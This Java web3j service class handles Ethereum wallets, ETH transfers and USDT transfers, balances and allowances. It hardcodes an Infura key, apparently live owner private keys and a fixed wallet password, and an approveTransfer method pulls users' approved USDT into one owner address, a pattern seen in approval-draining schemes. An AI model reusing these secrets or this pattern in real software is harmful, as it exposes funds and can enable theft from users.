package cc.mrbird.febs.dapp.chain; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.web3j.abi.FunctionEncoder; import org.web3j.abi.FunctionReturnDecoder; import org.web3j.abi.TypeReference; import org.web3j.abi.datatypes.Address; import org.web3j.abi.datatypes.Function; import org.web3j.abi.datatypes.Type; import org.web3j.abi.datatypes.generated.Uint256; import org.web3j.crypto.Credentials; import org.web3j.crypto.RawTransaction; import org.web3j.crypto.TransactionEncoder; import org.web3j.crypto.WalletUtils; import org.web3j.protocol.Web3j; import org.web3j.protocol.core.DefaultBlockParameterName; import org.web3j.protocol.core.Request; import org.web3j.protocol.core.methods.request.Transaction; import org.web3j.protocol.core.methods.response.*; import org.web3j.protocol.http.HttpService; import org.web3j.utils.Convert; import org.web3j.utils.Convert.Unit; import org.web3j.utils.Numeric; import java.io.File; import java.io.IOException; import java.math.BigDecimal; import java.math.BigInteger; import java.math.RoundingMode; import java.util.*; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ExecutionException; /** * ETH类,使用Web3j 下面为使用教程 * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js * * @author Administrator * */ @Slf4j public class EthServiceBak { private static String ethWalletPath = "/home/javaweb/webresource/eth"; private Web3j web3j; /** * 服务器地址 */ //private static final String ETH_UTL = "http://120.55.86.146:8545"; // private static final String ETH_UTL = "http://114.55.250.231:8545"; private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; // private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600"; // private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419"; private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D"; private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb"; public EthServiceBak() { try { HttpService service = new HttpService(ETH_UTL); web3j = Web3j.build(service); } catch (Exception e) { log.error("连接eth网络失败", e); } } public EthServiceBak(String url, String address, String privateKey) { try { OWNER_ADDRESS = address; OWNER_PRIVATE = privateKey; ETH_UTL = url; HttpService service = new HttpService(url); web3j = Web3j.build(service); } catch (Exception e) { log.error("连接eth网络失败", e); } } /** * 查询ETH余额 * * @param address * @return */ public static BigDecimal getEthBlance(String address) { Web3j web3 = Web3j.build(new HttpService(ETH_UTL)); EthGetBalance balanceWei; try { balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send(); if (balanceWei.getResult() == null) { return null; } BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER); return balanceInEther; } catch (Exception e) { System.out.println("ETH查询失败:" + address); e.printStackTrace(); } return null; } /** * 创建ETH钱包 * * @return */ public static Map createEth() { Map wallet = new HashMap(); try { String walletPassword = "secr3t"; // 文件路径 String walletDirectory = ethWalletPath; String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory)); System.out.println("wallet location: " + walletDirectory + "/" + walletName); Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName); String accountAddress = credentials.getAddress(); String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16); // 钱包地址 wallet.put("address", accountAddress); // 钱包私钥 wallet.put("privateKey", privateKey); // 产生的钱包文件地址 wallet.put("walletLocation", walletDirectory + "/" + walletName); } catch (Exception e) { e.printStackTrace(); } return wallet; } public boolean checkTransferResult(String hash) { // 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash Request ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash); EthGetTransactionReceipt send = null; try { send = ethGetTransactionReceiptRequest.send(); if(send!=null){ TransactionReceipt result = send.getResult(); if(result!=null){ String status = result.getStatus(); System.out.println(status);//0x1 if("0x1".equals(status)){ return true; }else{ return false; } } } } catch (IOException e) { e.printStackTrace(); return false; } return false; } public static void main(String[] args) throws IOException { // HttpService service = new HttpService(ETH_UTL); // Web3j build = Web3j.build(service); // //Request ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816"); // Request ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816"); // EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send(); // String status = send.getResult().getStatus(); // System.out.println(status);//0x1 // EthTransaction send = ethTransactionRequest.send(); // String input = send.getResult().getInput(); // System.out.println(input); System.out.println(new EthServiceBak().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024")); } /** * * 方法描述:获取代币余额 * * @param fromAddress * @param * @param * @return long */ public BigDecimal tokenGetBalance(String fromAddress) { try { // 合约地址 String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; int decimal = 6; String methodName = "balanceOf"; List inputParameters = new ArrayList<>(); List> outputParameters = new ArrayList<>(); Address address = new Address(fromAddress); inputParameters.add(address); TypeReference typeReference = new TypeReference() { }; outputParameters.add(typeReference); Function function = new Function(methodName, inputParameters, outputParameters); String data = FunctionEncoder.encode(function); Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data); EthCall ethCall; BigInteger balanceValue = BigInteger.ZERO; try { ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); List results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); balanceValue = (BigInteger) results.get(0).getValue(); } catch (IOException e) { e.printStackTrace(); } double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue(); if (res > 0) { return new BigDecimal(res); } } catch (Exception e) { // logger.error("==============以太坊代币链接获取失败!"); e.printStackTrace(); } return BigDecimal.ZERO; } // USDT public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas) throws InterruptedException, ExecutionException { // Web3j web3j = Web3j.build(new // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321")); if(StringUtils.isBlank(gas)){ gas="35"; } String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; Credentials credentials = Credentials.create(privateKey); EthGetTransactionCount ethGetTransactionCount = web3j .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); BigInteger nonce = ethGetTransactionCount.getTransactionCount(); Function function = new Function("transfer", Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))), Arrays.asList(new TypeReference() { })); String encodedFunction = FunctionEncoder.encode(function); RawTransaction rawTransaction = RawTransaction.createTransaction(nonce, Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快 Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限 // 10*80000/1000000000=0.0008 手续费 byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); String hexValue = Numeric.toHexString(signedMessage); CompletableFuture ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync(); EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get(); //return "hash"; // log.info("====:{}", JSONObject.toJSONString(ethSendTransaction)); if (ethSendTransaction.hasError()) { return ""; } else { String transactionHash = ethSendTransaction.getTransactionHash(); // log.info("Transfer transactionHash:" + transactionHash); return transactionHash; } } public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas) throws InterruptedException, ExecutionException { if(StringUtils.isBlank(gas)){ gas="35"; } BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000")); amount = amountPow.toPlainString(); if (amount.contains(".")) { amount = amount.substring(0, amount.lastIndexOf(".")); } String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; Credentials credentials = Credentials.create(privateKey); EthGetTransactionCount ethGetTransactionCount = web3j .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); BigInteger nonce = ethGetTransactionCount.getTransactionCount(); Function function = new Function("transferFrom", Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))), Arrays.asList(new TypeReference() { })); String encodedFunction = FunctionEncoder.encode(function); RawTransaction rawTransaction = RawTransaction.createTransaction(nonce, Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快 Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限 // 10*80000/1000000000=0.0008 手续费 byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); String hexValue = Numeric.toHexString(signedMessage); CompletableFuture ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync(); EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get(); //return "hash"; // log.info("====:{}", JSONObject.toJSONString(ethSendTransaction)); if (ethSendTransaction.hasError()) { return ""; } else { String transactionHash = ethSendTransaction.getTransactionHash(); // log.info("Transfer transactionHash:" + transactionHash); return transactionHash; } } public String approveTransfer(String fromAddress, BigDecimal amount, String gas) { try { return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas); } catch (InterruptedException | ExecutionException e) { e.printStackTrace(); return ""; } } public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas) throws InterruptedException, ExecutionException { // Web3j web3j = Web3j.build(new // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321")); if(StringUtils.isBlank(gas)){ gas="70"; } Credentials credentials = Credentials.create(privateKey); EthGetTransactionCount ethGetTransactionCount = web3j .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); BigInteger nonce = ethGetTransactionCount.getTransactionCount(); BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger(); RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce, Convert.toWei(gas, Unit.GWEI).toBigInteger(), Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value); byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); String hexValue = Numeric.toHexString(signedMessage); EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get(); if (ethSendTransaction.hasError()) { // log.info("transfer error:", ethSendTransaction.getError().getMessage()); return ""; } else { String transactionHash = ethSendTransaction.getTransactionHash(); // log.info("Transfer transactionHash:" + transactionHash); return transactionHash; } } public BigInteger ethAllowance(String address) { return ethAllowance(OWNER_ADDRESS, address); } public BigInteger ethAllowance(String toAddress, String fromAddress) { String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; String methodName = "allowance"; List> outputParameters = new ArrayList<>(); TypeReference typeReference = new TypeReference() {}; outputParameters.add(typeReference); Function function = new Function(methodName, Arrays.asList(new Address(fromAddress), new Address(toAddress)) , outputParameters); String data = FunctionEncoder.encode(function); Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data); EthCall ethCall = null; try { ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); List results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); return (BigInteger) results.get(0).getValue(); } catch (IOException e) { e.printStackTrace(); } return BigInteger.ZERO; } }